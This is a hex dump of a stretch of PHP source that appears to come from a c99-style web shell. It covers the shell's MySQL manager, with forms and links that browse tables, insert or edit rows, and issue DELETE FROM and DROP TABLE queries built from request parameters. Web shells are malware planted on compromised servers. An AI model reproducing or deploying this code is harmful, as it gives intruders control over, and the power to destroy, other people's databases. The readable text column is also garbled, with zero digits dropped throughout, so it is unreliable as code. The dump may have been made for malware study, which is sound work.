45184: 7428223C62723E3C62723E222E6D7973716C5F736D6172746572726F72282929          t("<br><br>".mysql_smarterror())
45216: 3B0D0A2020202020202020202020202476616C756573203D206D7973716C5F66          ; $values = mysql_f
45248: 657463685F6173736F632824726573756C74293B0D0A20202020202020202020          etch_assoc($result);
45280: 20206D7973716C5F667265655F726573756C742824726573756C74293B0D0A20          mysql_free_result($result);
45312: 2020202020202020207D0D0A20202020202020202020656C7365207B2476616C          } else {$val
45344: 756573203D20617272617928293B7D0D0A202020202020202020206563686F20          ues = array();} echo
45376: 223C666F726D206D6574686F643D5C22504F53545C223E3C7461626C65207769          "<form method=\"POST\"><table wi
45408: 6474683D5C2231255C2220626F726465723D313E3C74723E3C74643E3C623E46          dth=\"1%\" border=1><tr><td><b>F
45440: 69656C643C2F623E3C2F74643E3C74643E3C623E547970653C2F623E3C2F7464          ield</b></td><td><b>Type</b></td
45472: 3E3C74643E3C623E46756E6374696F6E3C2F623E3C2F74643E3C74643E3C623E          ><td><b>Function</b></td><td><b>
45504: 56616C75653C2F623E3C2F74643E3C2F74723E223B0D0A202020202020202020          Value</b></td></tr>";
45536: 20666F726561636820282474626C5F7374727563745F6669656C647320617320          foreach ($tbl_struct_fields as
45568: 246669656C6429207B0D0A202020202020202020202020246E616D65203D2024          $field) { $name = $
45600: 6669656C645B224669656C64225D3B0D0A202020202020202020202020696620          field["Field"]; if
45632: 28656D707479282473716C5F74626C5F696E736572745F712929207B2476203D          (empty($sql_tbl_insert_q)) {$v =
45664: 2022223B7D0D0A2020202020202020202020206563686F20223C74723E3C7464          "";} echo "<tr><td
45696: 3E3C623E222E68746D6C7370656369616C636861727328246E616D65292E223C          ><b>".htmlspecialchars($name)."<
45728: 2F623E3C2F74643E3C74643E222E246669656C645B2254797065225D2E223C2F          /b></td><td>".$field["Type"]."</
45760: 74643E3C74643E3C73656C656374206E616D653D5C2273716C5F74626C5F696E          td><td><select name=\"sql_tbl_in
45792: 736572745F66756E6374735B222E68746D6C7370656369616C63686172732824          sert_functs[".htmlspecialchars($
45824: 6E616D65292E225D5C223E3C6F7074696F6E2076616C75653D5C225C223E3C2F          name)."]\"><option value=\"\"></
45856: 6F7074696F6E3E3C6F7074696F6E3E50415353574F52443C2F6F7074696F6E3E          option><option>PASSWORD</option>
45888: 3C6F7074696F6E3E4D44353C2F6F7074696F6E3E3C6F7074696F6E3E454E4352          <option>MD5</option><option>ENCR
45920: 5950543C2F6F7074696F6E3E3C6F7074696F6E3E41534349493C2F6F7074696F          YPT</option><option>ASCII</optio
45952: 6E3E3C6F7074696F6E3E434841523C2F6F7074696F6E3E3C6F7074696F6E3E52          n><option>CHAR</option><option>R
45984: 414E443C2F6F7074696F6E3E3C6F7074696F6E3E4C4153545F494E534552545F          AND</option><option>LAST_INSERT_
46016: 49443C2F6F7074696F6E3E3C6F7074696F6E3E434F554E543C2F6F7074696F6E          ID</option><option>COUNT</option
46048: 3E3C6F7074696F6E3E4156473C2F6F7074696F6E3E3C6F7074696F6E3E53554D          ><option>AVG</option><option>SUM
46080: 3C2F6F7074696F6E3E3C6F7074696F6E2076616C75653D5C225C223E2D2D2D2D          </option><option value=\"\">----
46112: 2D2D2D2D3C2F6F7074696F6E3E3C6F7074696F6E3E534F554E4445583C2F6F70          ----</option><option>SOUNDEX</op
46144: 74696F6E3E3C6F7074696F6E3E4C434153453C2F6F7074696F6E3E3C6F707469          tion><option>LCASE</option><opti
46176: 6F6E3E55434153453C2F6F7074696F6E3E3C6F7074696F6E3E4E4F573C2F6F70          on>UCASE</option><option>NOW</op
46208: 74696F6E3E3C6F7074696F6E3E435552444154453C2F6F7074696F6E3E3C6F70          tion><option>CURDATE</option><op
46240: 74696F6E3E43555254494D453C2F6F7074696F6E3E3C6F7074696F6E3E46524F          tion>CURTIME</option><option>FRO
46272: 4D5F444159533C2F6F7074696F6E3E3C6F7074696F6E3E46524F4D5F554E4958          M_DAYS</option><option>FROM_UNIX
46304: 54494D453C2F6F7074696F6E3E3C6F7074696F6E3E504552494F445F4144443C          TIME</option><option>PERIOD_ADD<
46336: 2F6F7074696F6E3E3C6F7074696F6E3E504552494F445F444946463C2F6F7074          /option><option>PERIOD_DIFF</opt
46368: 696F6E3E3C6F7074696F6E3E544F5F444159533C2F6F7074696F6E3E3C6F7074          ion><option>TO_DAYS</option><opt
46400: 696F6E3E554E49585F54494D455354414D503C2F6F7074696F6E3E3C6F707469          ion>UNIX_TIMESTAMP</option><opti
46432: 6F6E3E555345523C2F6F7074696F6E3E3C6F7074696F6E3E5745454B4441593C          on>USER</option><option>WEEKDAY<
46464: 2F6F7074696F6E3E3C6F7074696F6E3E434F4E4341543C2F6F7074696F6E3E3C          /option><option>CONCAT</option><
46496: 2F73656C6563743E3C2F74643E3C74643E3C696E70757420747970653D5C2274          /select></td><td><input type=\"t
46528: 6578745C22206E616D653D5C2273716C5F74626C5F696E736572745B222E6874          ext\" name=\"sql_tbl_insert[".ht
46560: 6D6C7370656369616C636861727328246E616D65292E225D5C222076616C7565          mlspecialchars($name)."]\" value
46592: 3D5C22222E68746D6C7370656369616C6368617273282476616C7565735B246E          =\"".htmlspecialchars($values[$n
46624: 616D655D292E225C222073697A653D35303E3C2F74643E3C2F74723E223B0D0A          ame])."\" size=5 ></td></tr>";
46656: 20202020202020202020202024692B2B3B0D0A202020202020202020207D0D0A          $i++; }
46688: 202020202020202020206563686F20223C2F7461626C653E3C62723E223B0D0A          echo "</table><br>";
46720: 202020202020202020206563686F20223C696E70757420747970653D5C227261          echo "<input type=\"ra
46752: 64696F5C22206E616D653D5C2273716C5F74626C5F696E736572745F72616469          dio\" name=\"sql_tbl_insert_radi
46784: 6F5C222076616C75653D5C22315C22223B2069662028656D707479282473716C          o\" value=\"1\""; if (empty($sql
46816: 5F74626C5F696E736572745F712929207B6563686F202220636865636B656422          _tbl_insert_q)) {echo " checked"
46848: 3B7D206563686F20223E3C623E496E73657274206173206E657720726F773C2F          ;} echo "><b>Insert as new row</
46880: 623E223B0D0A202020202020202020206966202821656D707479282473716C5F          b>"; if (!empty($sql_
46912: 74626C5F696E736572745F712929207B6563686F2022206F72203C696E707574          tbl_insert_q)) {echo " or <input
46944: 20747970653D5C22726164696F5C22206E616D653D5C2273716C5F74626C5F69          type=\"radio\" name=\"sql_tbl_i
46976: 6E736572745F726164696F5C222076616C75653D5C22325C2220636865636B65          nsert_radio\" value=\"2\" checke
47008: 643E3C623E536176653C2F623E223B206563686F20223C696E70757420747970          d><b>Save</b>"; echo "<input typ
47040: 653D5C2268696464656E5C22206E616D653D5C2273716C5F74626C5F696E7365          e=\"hidden\" name=\"sql_tbl_inse
47072: 72745F715C222076616C75653D5C22222E68746D6C7370656369616C63686172          rt_q\" value=\"".htmlspecialchar
47104: 73282473716C5F74626C5F696E736572745F71292E225C223E223B7D0D0A2020          s($sql_tbl_insert_q)."\">";}
47136: 20202020202020206563686F20223C62723E3C62723E3C696E70757420747970          echo "<br><br><input typ
47168: 653D5C227375626D69745C222076616C75653D5C22436F6E6669726D5C223E3C          e=\"submit\" value=\"Confirm\"><
47200: 2F666F726D3E223B0D0A20202020202020207D0D0A2020202020207D0D0A2020          /form>"; } }
47232: 20202020696620282473716C5F74626C5F616374203D3D202262726F77736522          if ($sql_tbl_act == "browse"
47264: 29207B0D0A20202020202020202473716C5F74626C5F6C73203D206162732824          ) { $sql_tbl_ls = abs($
47296: 73716C5F74626C5F6C73293B0D0A20202020202020202473716C5F74626C5F6C          sql_tbl_ls); $sql_tbl_l
47328: 65203D20616273282473716C5F74626C5F6C65293B0D0A202020202020202065          e = abs($sql_tbl_le); e
47360: 63686F20223C68722073697A653D5C22315C22206E6F73686164653E223B0D0A          cho "<hr size=\"1\" noshade>";
47392: 20202020202020206563686F20223C696D67207372633D5C22222E247375726C          echo "<img src=\"".$surl
47424: 2E226163743D696D6726696D673D6D756C7469706167655C2220686569676874          ."act=img&img=multipage\" height
47456: 3D5C2231325C222077696474683D5C2231305C2220616C743D5C225061676573          =\"12\" width=\"1 \" alt=\"Pages
47488: 5C223E266E6273703B223B0D0A20202020202020202462203D20303B0D0A2020          \">&nbsp;"; $b =  ;
47520: 202020202020666F722824693D303B24693C246E756D70616765733B24692B2B          for($i= ;$i<$numpages;$i++
47552: 29207B0D0A20202020202020202020696620282824692A247065727061676520          ) { if (($i*$perpage
47584: 213D202473716C5F74626C5F6C7329206F72202824692A24706572706167652B          != $sql_tbl_ls) or ($i*$perpage+
47616: 247065727061676520213D202473716C5F74626C5F6C652929207B6563686F20          $perpage != $sql_tbl_le)) {echo
47648: 223C6120687265663D5C22222E2473716C5F7375726C2E2273716C5F74626C3D          "<a href=\"".$sql_surl."sql_tbl=
47680: 222E75726C656E636F6465282473716C5F74626C292E222673716C5F6F726465          ".urlencode($sql_tbl)."&sql_orde
47712: 723D222E68746D6C7370656369616C6368617273282473716C5F6F7264657229          r=".htmlspecialchars($sql_order)
47744: 2E222673716C5F74626C5F6C733D222E2824692A2470657270616765292E2226          ."&sql_tbl_ls=".($i*$perpage)."&
47776: 73716C5F74626C5F6C653D222E2824692A24706572706167652B247065727061          sql_tbl_le=".($i*$perpage+$perpa
47808: 6765292E225C223E3C753E223B7D0D0A202020202020202020206563686F2024          ge)."\"><u>";} echo $
47840: 693B0D0A20202020202020202020696620282824692A24706572706167652021          i; if (($i*$perpage !
47872: 3D202473716C5F74626C5F6C7329206F72202824692A24706572706167652B24          = $sql_tbl_ls) or ($i*$perpage+$
47904: 7065727061676520213D202473716C5F74626C5F6C652929207B6563686F2022          perpage != $sql_tbl_le)) {echo "
47936: 3C2F753E3C2F613E223B7D0D0A20202020202020202020696620282824692F33          </u></a>";} if (($i/3
47968: 30203D3D20726F756E642824692F3330292920616E6420282469203E20302929            == round($i/3 )) and ($i >  ))
48000: 207B6563686F20223C62723E223B7D0D0A20202020202020202020656C736520          {echo "<br>";} else
48032: 7B6563686F2022266E6273703B223B7D0D0A20202020202020207D0D0A202020          {echo "&nbsp;";} }
48064: 2020202020696620282469203D3D203029207B6563686F2022656D707479223B          if ($i ==  ) {echo "empty";
48096: 7D0D0A20202020202020206563686F20223C666F726D206D6574686F643D5C22          } echo "<form method=\"
48128: 4745545C223E3C696E70757420747970653D5C2268696464656E5C22206E616D          GET\"><input type=\"hidden\" nam
48160: 653D5C226163745C222076616C75653D5C2273716C5C223E3C696E7075742074          e=\"act\" value=\"sql\"><input t
48192: 7970653D5C2268696464656E5C22206E616D653D5C2273716C5F64625C222076          ype=\"hidden\" name=\"sql_db\" v
48224: 616C75653D5C22222E68746D6C7370656369616C6368617273282473716C5F64          alue=\"".htmlspecialchars($sql_d
48256: 62292E225C223E3C696E70757420747970653D5C2268696464656E5C22206E61          b)."\"><input type=\"hidden\" na
48288: 6D653D5C2273716C5F6C6F67696E5C222076616C75653D5C22222E68746D6C73          me=\"sql_login\" value=\"".htmls
48320: 70656369616C6368617273282473716C5F6C6F67696E292E225C223E3C696E70          pecialchars($sql_login)."\"><inp
48352: 757420747970653D5C2268696464656E5C22206E616D653D5C2273716C5F7061          ut type=\"hidden\" name=\"sql_pa
48384: 737377645C222076616C75653D5C22222E68746D6C7370656369616C63686172          sswd\" value=\"".htmlspecialchar
48416: 73282473716C5F706173737764292E225C223E3C696E70757420747970653D5C          s($sql_passwd)."\"><input type=\
48448: 2268696464656E5C22206E616D653D5C2273716C5F7365727665725C22207661          "hidden\" name=\"sql_server\" va
48480: 6C75653D5C22222E68746D6C7370656369616C6368617273282473716C5F7365          lue=\"".htmlspecialchars($sql_se
48512: 72766572292E225C223E3C696E70757420747970653D5C2268696464656E5C22          rver)."\"><input type=\"hidden\"
48544: 206E616D653D5C2273716C5F706F72745C222076616C75653D5C22222E68746D          name=\"sql_port\" value=\"".htm
48576: 6C7370656369616C6368617273282473716C5F706F7274292E225C223E3C696E          lspecialchars($sql_port)."\"><in
48608: 70757420747970653D5C2268696464656E5C22206E616D653D5C2273716C5F74          put type=\"hidden\" name=\"sql_t
48640: 626C5C222076616C75653D5C22222E68746D6C7370656369616C636861727328          bl\" value=\"".htmlspecialchars(
48672: 2473716C5F74626C292E225C223E3C696E70757420747970653D5C2268696464          $sql_tbl)."\"><input type=\"hidd
48704: 656E5C22206E616D653D5C2273716C5F6F726465725C222076616C75653D5C22          en\" name=\"sql_order\" value=\"
48736: 222E68746D6C7370656369616C6368617273282473716C5F6F72646572292E22          ".htmlspecialchars($sql_order)."
48768: 5C223E3C623E46726F6D3A3C2F623E266E6273703B3C696E7075742074797065          \"><b>From:</b>&nbsp;<input type
48800: 3D5C22746578745C22206E616D653D5C2273716C5F74626C5F6C735C22207661          =\"text\" name=\"sql_tbl_ls\" va
48832: 6C75653D5C22222E2473716C5F74626C5F6C732E225C223E266E6273703B3C62          lue=\"".$sql_tbl_ls."\">&nbsp;<b
48864: 3E546F3A3C2F623E266E6273703B3C696E70757420747970653D5C2274657874          >To:</b>&nbsp;<input type=\"text
48896: 5C22206E616D653D5C2273716C5F74626C5F6C655C222076616C75653D5C2222          \" name=\"sql_tbl_le\" value=\""
48928: 2E2473716C5F74626C5F6C652E225C223E266E6273703B3C696E707574207479          .$sql_tbl_le."\">&nbsp;<input ty
48960: 70653D5C227375626D69745C222076616C75653D5C22566965775C223E3C2F66          pe=\"submit\" value=\"View\"></f
48992: 6F726D3E223B0D0A20202020202020206563686F20223C62723E3C666F726D20          orm>"; echo "<br><form
49024: 6D6574686F643D5C22504F53545C223E3C5441424C452063656C6C5370616369          method=\"POST\"><TABLE cellSpaci
49056: 6E673D3020626F72646572436F6C6F724461726B3D233636363636362063656C          ng=  borderColorDark=#666666 cel
49088: 6C50616464696E673D352077696474683D5C2231255C22206267636F6C6F723D          lPadding=5 width=\"1%\" bgcolor=
49120: 2330303030303020626F72646572436F6C6F724C696768743D23633063306330          #       borderColorLight=#c c c 
49152: 20626F726465723D313E223B0D0A20202020202020206563686F20223C74723E          border=1>"; echo "<tr>
49184: 223B0D0A20202020202020206563686F20223C74643E3C696E70757420747970          "; echo "<td><input typ
49216: 653D5C22636865636B626F785C22206E616D653D5C22626F78726F775F616C6C          e=\"checkbox\" name=\"boxrow_all
49248: 5C222076616C75653D5C22315C223E3C2F74643E223B0D0A2020202020202020          \" value=\"1\"></td>";
49280: 666F72202824693D303B24693C6D7973716C5F6E756D5F6669656C6473282472          for ($i= ;$i<mysql_num_fields($r
49312: 6573756C74293B24692B2B29207B0D0A202020202020202020202476203D206D          esult);$i++) { $v = m
49344: 7973716C5F6669656C645F6E616D652824726573756C742C2469293B0D0A2020          ysql_field_name($result,$i);
49376: 20202020202020206966202824655B305D203D3D2022612229207B2473203D20          if ($e[ ] == "a") {$s =
49408: 2264223B20246D203D2022617363223B7D0D0A20202020202020202020656C73          "d"; $m = "asc";} els
49440: 65207B2473203D202261223B20246D203D202264657363223B7D0D0A20202020          e {$s = "a"; $m = "desc";}
49472: 2020202020206563686F20223C74643E223B0D0A202020202020202020206966          echo "<td>"; if
49504: 2028656D7074792824655B305D2929207B24655B305D203D202261223B7D0D0A          (empty($e[ ])) {$e[ ] = "a";}
49536: 202020202020202020206966202824655B315D20213D20247629207B6563686F          if ($e[1] != $v) {echo
49568: 20223C6120687265663D5C22222E2473716C5F7375726C2E2273716C5F74626C          "<a href=\"".$sql_surl."sql_tbl
49600: 3D222E2473716C5F74626C2E222673716C5F74626C5F6C653D222E2473716C5F          =".$sql_tbl."&sql_tbl_le=".$sql_
49632: 74626C5F6C652E222673716C5F74626C5F6C733D222E2473716C5F74626C5F6C          tbl_le."&sql_tbl_ls=".$sql_tbl_l
49664: 732E222673716C5F6F726465723D222E24655B305D2E22253230222E24762E22          s."&sql_order=".$e[ ]."%2 ".$v."
49696: 5C223E3C623E222E24762E223C2F623E3C2F613E223B7D0D0A20202020202020          \"><b>".$v."</b></a>";}
49728: 202020656C7365207B6563686F20223C623E222E24762E223C2F623E3C612068          else {echo "<b>".$v."</b><a h
49760: 7265663D5C22222E2473716C5F7375726C2E2273716C5F74626C3D222E247371          ref=\"".$sql_surl."sql_tbl=".$sq
49792: 6C5F74626C2E222673716C5F74626C5F6C653D222E2473716C5F74626C5F6C65          l_tbl."&sql_tbl_le=".$sql_tbl_le
49824: 2E222673716C5F74626C5F6C733D222E2473716C5F74626C5F6C732E22267371          ."&sql_tbl_ls=".$sql_tbl_ls."&sq
49856: 6C5F6F726465723D222E24732E22253230222E24762E225C223E3C696D672073          l_order=".$s."%2 ".$v."\"><img s
49888: 72633D5C22222E247375726C2E226163743D696D6726696D673D736F72745F22          rc=\"".$surl."act=img&img=sort_"
49920: 2E246D2E225C22206865696768743D5C22395C222077696474683D5C2231345C          .$m."\" height=\"9\" width=\"14\
49952: 2220616C743D5C22222E246D2E225C223E3C2F613E223B7D0D0A202020202020          " alt=\"".$m."\"></a>";}
49984: 202020206563686F20223C2F74643E223B0D0A20202020202020207D0D0A2020          echo "</td>"; }
50016: 202020206563686F20223C74643E3C666F6E7420636F6C6F723D5C2267726565          echo "<td><font color=\"gree
50048: 6E5C223E3C623E416374696F6E3C2F623E3C2F666F6E743E3C2F74643E223B0D          n\"><b>Action</b></font></td>";
50080: 0A2020202020206563686F20223C2F74723E223B0D0A2020202020207768696C          echo "</tr>"; whil
50112: 65202824726F77203D206D7973716C5F66657463685F61727261792824726573          e ($row = mysql_fetch_array($res
50144: 756C742C204D5953514C5F4153534F432929207B0D0A20202020202020656368          ult, MYSQL_ASSOC)) { ech
50176: 6F20223C74723E223B0D0A202020202020202477203D2022223B0D0A20202020          o "<tr>"; $w = "";
50208: 2020202469203D20303B0D0A20202020202020666F7265616368202824726F77          $i =  ; foreach ($row
50240: 20617320246B3D3E247629207B246E616D65203D206D7973716C5F6669656C64          as $k=>$v) {$name = mysql_field
50272: 5F6E616D652824726573756C742C2469293B202477202E3D20222060222E246E          _name($result,$i); $w .= " `".$n
50304: 616D652E2260203D2027222E616464736C6173686573282476292E222720414E          ame."` = '".addslashes($v)."' AN
50336: 44223B2024692B2B3B7D0D0A2020202020202069662028636F756E742824726F          D"; $i++;} if (count($ro
50368: 7729203E203029207B2477203D207375627374722824772C302C7374726C656E          w) >  ) {$w = substr($w, ,strlen
50400: 282477292D33293B7D0D0A202020202020206563686F20223C74643E3C696E70          ($w)-3);} echo "<td><inp
50432: 757420747970653D5C22636865636B626F785C22206E616D653D5C22626F7872          ut type=\"checkbox\" name=\"boxr
50464: 6F775B5D5C222076616C75653D5C22222E24772E225C223E3C2F74643E223B0D          ow[]\" value=\"".$w."\"></td>";
50496: 0A202020202020202469203D20303B0D0A20202020202020666F726561636820          $i =  ; foreach
50528: 2824726F7720617320246B3D3E2476290D0A202020202020207B0D0A20202020          ($row as $k=>$v) {
50560: 202020202476203D2068746D6C7370656369616C6368617273282476293B0D0A          $v = htmlspecialchars($v);
50592: 2020202020202020696620282476203D3D20222229207B2476203D20223C666F          if ($v == "") {$v = "<fo
50624: 6E7420636F6C6F723D5C22677265656E5C223E4E554C4C3C2F666F6E743E223B          nt color=\"green\">NULL</font>";
50656: 7D0D0A20202020202020206563686F20223C74643E222E24762E223C2F74643E          } echo "<td>".$v."</td>
50688: 223B0D0A202020202020202024692B2B3B0D0A202020202020207D0D0A202020          "; $i++; }
50720: 202020206563686F20223C74643E223B0D0A202020202020206563686F20223C          echo "<td>"; echo "<
50752: 6120687265663D5C22222E2473716C5F7375726C2E2273716C5F6163743D7175          a href=\"".$sql_surl."sql_act=qu
50784: 6572792673716C5F74626C3D222E75726C656E636F6465282473716C5F74626C          ery&sql_tbl=".urlencode($sql_tbl
50816: 292E222673716C5F74626C5F6C733D222E2473716C5F74626C5F6C732E222673          )."&sql_tbl_ls=".$sql_tbl_ls."&s
50848: 716C5F74626C5F6C653D222E2473716C5F74626C5F6C652E222673716C5F7175          ql_tbl_le=".$sql_tbl_le."&sql_qu
50880: 6572793D222E75726C656E636F6465282244454C4554452046524F4D2060222E          ery=".urlencode("DELETE FROM `".
50912: 2473716C5F74626C2E2260205748455245222E24772E22204C494D495420313B          $sql_tbl."` WHERE".$w." LIMIT 1;
50944: 22292E225C223E3C696D67207372633D5C22222E247375726C2E226163743D69          ")."\"><img src=\"".$surl."act=i
50976: 6D6726696D673D73716C5F627574746F6E5F64726F705C2220616C743D5C2244          mg&img=sql_button_drop\" alt=\"D
51008: 656C6574655C22206865696768743D5C2231335C222077696474683D5C223131          elete\" height=\"13\" width=\"11
51040: 5C2220626F726465723D5C22305C223E3C2F613E266E6273703B223B0D0A2020          \" border=\" \"></a>&nbsp;";
51072: 20202020206563686F20223C6120687265663D5C22222E2473716C5F7375726C          echo "<a href=\"".$sql_surl
51104: 2E2273716C5F74626C5F6163743D696E736572742673716C5F74626C3D222E75          ."sql_tbl_act=insert&sql_tbl=".u
51136: 726C656E636F6465282473716C5F74626C292E222673716C5F74626C5F6C733D          rlencode($sql_tbl)."&sql_tbl_ls=
51168: 222E2473716C5F74626C5F6C732E222673716C5F74626C5F6C653D222E247371          ".$sql_tbl_ls."&sql_tbl_le=".$sq
51200: 6C5F74626C5F6C652E222673716C5F74626C5F696E736572745F713D222E7572          l_tbl_le."&sql_tbl_insert_q=".ur
51232: 6C656E636F6465282477292E225C223E3C696D67207372633D5C22222E247375          lencode($w)."\"><img src=\"".$su
51264: 726C2E226163743D696D6726696D673D6368616E67655C2220616C743D5C2245          rl."act=img&img=change\" alt=\"E
51296: 6469745C22206865696768743D5C2231345C222077696474683D5C2231345C22          dit\" height=\"14\" width=\"14\"
51328: 20626F726465723D5C22305C223E3C2F613E266E6273703B223B0D0A20202020          border=\" \"></a>&nbsp;";
51360: 2020206563686F20223C2F74643E223B0D0A202020202020206563686F20223C          echo "</td>"; echo "<
51392: 2F74723E223B0D0A2020202020207D0D0A2020202020206D7973716C5F667265          /tr>"; } mysql_fre
51424: 655F726573756C742824726573756C74293B0D0A2020202020206563686F2022          e_result($result); echo "
51456: 3C2F7461626C653E3C68722073697A653D5C22315C22206E6F73686164653E3C          </table><hr size=\"1\" noshade><
51488: 7020616C69676E3D5C226C6566745C223E3C696D67207372633D5C22222E2473          p align=\"left\"><img src=\"".$s
51520: 75726C2E226163743D696D6726696D673D6172726F775F6C74725C2220626F72          url."act=img&img=arrow_ltr\" bor
51552: 6465723D5C22305C223E3C73656C656374206E616D653D5C2273716C5F616374          der=\" \"><select name=\"sql_act
51584: 5C223E223B0D0A2020202020206563686F20223C6F7074696F6E2076616C7565          \">"; echo "<option value
51616: 3D5C225C223E576974682073656C65637465643A3C2F6F7074696F6E3E223B0D          =\"\">With selected:</option>";
51648: 0A2020202020206563686F20223C6F7074696F6E2076616C75653D5C2264656C          echo "<option value=\"del
51680: 657465726F775C223E44656C6574653C2F6F7074696F6E3E223B0D0A20202020          eterow\">Delete</option>";
51712: 20206563686F20223C2F73656C6563743E266E6273703B3C696E707574207479          echo "</select>&nbsp;<input ty
51744: 70653D5C227375626D69745C222076616C75653D5C22436F6E6669726D5C223E          pe=\"submit\" value=\"Confirm\">
51776: 3C2F666F726D3E3C2F703E223B0D0A20202020207D0D0A202020207D0D0A2020          </form></p>"; } }
51808: 2020656C7365207B0D0A202020202024726573756C74203D206D7973716C5F71          else { $result = mysql_q
51840: 75657279282253484F57205441424C4520535441545553222C202473716C5F73          uery("SHOW TABLE STATUS", $sql_s
51872: 6F636B293B0D0A2020202020696620282124726573756C7429207B6563686F20          ock); if (!$result) {echo
51904: 6D7973716C5F736D6172746572726F7228293B7D0D0A2020202020656C73650D          mysql_smarterror();} else
51936: 0A20202020207B0D0A2020202020206563686F20223C62723E3C666F726D206D          { echo "<br><form m
51968: 6574686F643D5C22504F53545C223E3C5441424C452063656C6C53706163696E          ethod=\"POST\"><TABLE cellSpacin
52000: 673D3020626F72646572436F6C6F724461726B3D233636363636362063656C6C          g=  borderColorDark=#666666 cell
52032: 50616464696E673D352077696474683D5C22313030255C22206267636F6C6F72          Padding=5 width=\"1  %\" bgcolor
52064: 3D2330303030303020626F72646572436F6C6F724C696768743D236330633063          =#       borderColorLight=#c c c
52096: 3020626F726465723D313E3C74723E3C74643E3C696E70757420747970653D5C            border=1><tr><td><input type=\
52128: 22636865636B626F785C22206E616D653D5C22626F7874626C5F616C6C5C2220          "checkbox\" name=\"boxtbl_all\"
52160: 76616C75653D5C22315C223E3C2F74643E3C74643E3C63656E7465723E3C623E          value=\"1\"></td><td><center><b>
52192: 5461626C653C2F623E3C2F63656E7465723E3C2F74643E3C74643E3C623E526F          Table</b></center></td><td><b>Ro
52224: 77733C2F623E3C2F74643E3C74643E3C623E547970653C2F623E3C2F74643E3C          ws</b></td><td><b>Type</b></td><
52256: 74643E3C623E437265617465643C2F623E3C2F74643E3C74643E3C623E4D6F64          td><b>Created</b></td><td><b>Mod
52288: 69666965643C2F623E3C2F74643E3C74643E3C623E53697A653C2F623E3C2F74          ified</b></td><td><b>Size</b></t
52320: 643E3C74643E3C623E416374696F6E3C2F623E3C2F74643E3C2F74723E223B0D          d><td><b>Action</b></td></tr>";
52352: 0A2020202020202469203D20303B0D0A202020202020247473697A65203D2024          $i =  ; $tsize = $
52384: 74726F7773203D20303B0D0A2020202020207768696C65202824726F77203D20          trows =  ; while ($row =
52416: 6D7973716C5F66657463685F61727261792824726573756C742C204D5953514C          mysql_fetch_array($result, MYSQL
52448: 5F4153534F4329290D0A2020202020207B0D0A20202020202020247473697A65          _ASSOC)) { $tsize
52480: 202B3D2024726F775B22446174615F6C656E677468225D3B0D0A202020202020          += $row["Data_length"];
52512: 202474726F7773202B3D2024726F775B22526F7773225D3B0D0A202020202020          $trows += $row["Rows"];
52544: 202473697A65203D20766965775F73697A652824726F775B22446174615F6C65          $size = view_size($row["Data_le
52576: 6E677468225D293B0D0A202020202020206563686F20223C74723E223B0D0A20          ngth"]); echo "<tr>";
52608: 2020202020206563686F20223C74643E3C696E70757420747970653D5C226368          echo "<td><input type=\"ch
52640: 65636B626F785C22206E616D653D5C22626F7874626C5B5D5C222076616C7565          eckbox\" name=\"boxtbl[]\" value
52672: 3D5C22222E24726F775B224E616D65225D2E225C223E3C2F74643E223B0D0A20          =\"".$row["Name"]."\"></td>";
52704: 2020202020206563686F20223C74643E266E6273703B3C6120687265663D5C22          echo "<td>&nbsp;<a href=\"
52736: 222E2473716C5F7375726C2E2273716C5F74626C3D222E75726C656E636F6465          ".$sql_surl."sql_tbl=".urlencode
52768: 2824726F775B224E616D65225D292E225C223E3C623E222E24726F775B224E61          ($row["Name"])."\"><b>".$row["Na
52800: 6D65225D2E223C2F623E3C2F613E266E6273703B3C2F74643E223B0D0A202020          me"]."</b></a>&nbsp;</td>";
52832: 202020206563686F20223C74643E222E24726F775B22526F7773225D2E223C2F          echo "<td>".$row["Rows"]."</
52864: 74643E223B0D0A202020202020206563686F20223C74643E222E24726F775B22          td>"; echo "<td>".$row["
52896: 54797065225D2E223C2F74643E223B0D0A202020202020206563686F20223C74          Type"]."</td>"; echo "<t
52928: 643E222E24726F775B224372656174655F74696D65225D2E223C2F74643E223B          d>".$row["Create_time"]."</td>";
52960: 0D0A202020202020206563686F20223C74643E222E24726F775B225570646174          echo "<td>".$row["Updat
52992: 655F74696D65225D2E223C2F74643E223B0D0A202020202020206563686F2022          e_time"]."</td>"; echo "
53024: 3C74643E222E2473697A652E223C2F74643E223B0D0A20202020202020656368          <td>".$size."</td>"; ech
53056: 6F20223C74643E266E6273703B3C6120687265663D5C22222E2473716C5F7375          o "<td>&nbsp;<a href=\"".$sql_su
53088: 726C2E2273716C5F6163743D71756572792673716C5F71756572793D222E7572          rl."sql_act=query&sql_query=".ur
53120: 6C656E636F6465282244454C4554452046524F4D2060222E24726F775B224E61          lencode("DELETE FROM `".$row["Na
53152: 6D65225D2E226022292E225C223E3C696D67207372633D5C22222E247375726C          me"]."`")."\"><img src=\"".$surl
53184: 2E226163743D696D6726696D673D73716C5F627574746F6E5F656D7074795C22          ."act=img&img=sql_button_empty\"
53216: 20616C743D5C22456D7074795C22206865696768743D5C2231335C2220776964          alt=\"Empty\" height=\"13\" wid
53248: 74683D5C2231315C2220626F726465723D5C22305C223E3C2F613E266E627370          th=\"11\" border=\" \"></a>&nbsp
53280: 3B266E6273703B3C6120687265663D5C22222E2473716C5F7375726C2E227371          ;&nbsp;<a href=\"".$sql_surl."sq
53312: 6C5F6163743D71756572792673716C5F71756572793D222E75726C656E636F64          l_act=query&sql_query=".urlencod
53344: 65282244524F50205441424C452060222E24726F775B224E616D65225D2E2260          e("DROP TABLE `".$row["Name"]."`
53376: 22292E225C223E3C696D67207372633D5C22222E247375726C2E226163743D69          ")."\"><img src=\"".$surl."act=i
53408: 6D6726696D673D73716C5F627574746F6E5F64726F705C2220616C743D5C2244          mg&img=sql_button_drop\" alt=\"D
53440: 726F705C22206865696768743D5C2231335C222077696474683D5C2231315C22          rop\" height=\"13\" width=\"11\"
53472: 20626F726465723D5C22305C223E3C2F613E266E6273703B3C6120687265663D          border=\" \"></a>&nbsp;<a href=
53504: 5C22222E2473716C5F7375726C2E2273716C5F74626C5F6163743D696E736572          \"".$sql_surl."sql_tbl_act=inser
53536: 742673716C5F74626C3D222E24726F775B224E616D65225D2E225C223E3C696D          t&sql_tbl=".$row["Name"]."\"><im
53568: 67207372633D5C22222E247375726C2E226163743D696D6726696D673D73716C          g src=\"".$surl."act=img&img=sql
53600: 5F627574746F6E5F696E736572745C2220616C743D5C22496E736572745C2220          _button_insert\" alt=\"Insert\"
53632: 6865696768743D5C2231335C222077696474683D5C2231315C2220626F726465          height=\"13\" width=\"11\" borde
53664: 723D5C22305C223E3C2F613E266E6273703B3C2F74643E223B0D0A2020202020          r=\" \"></a>&nbsp;</td>";
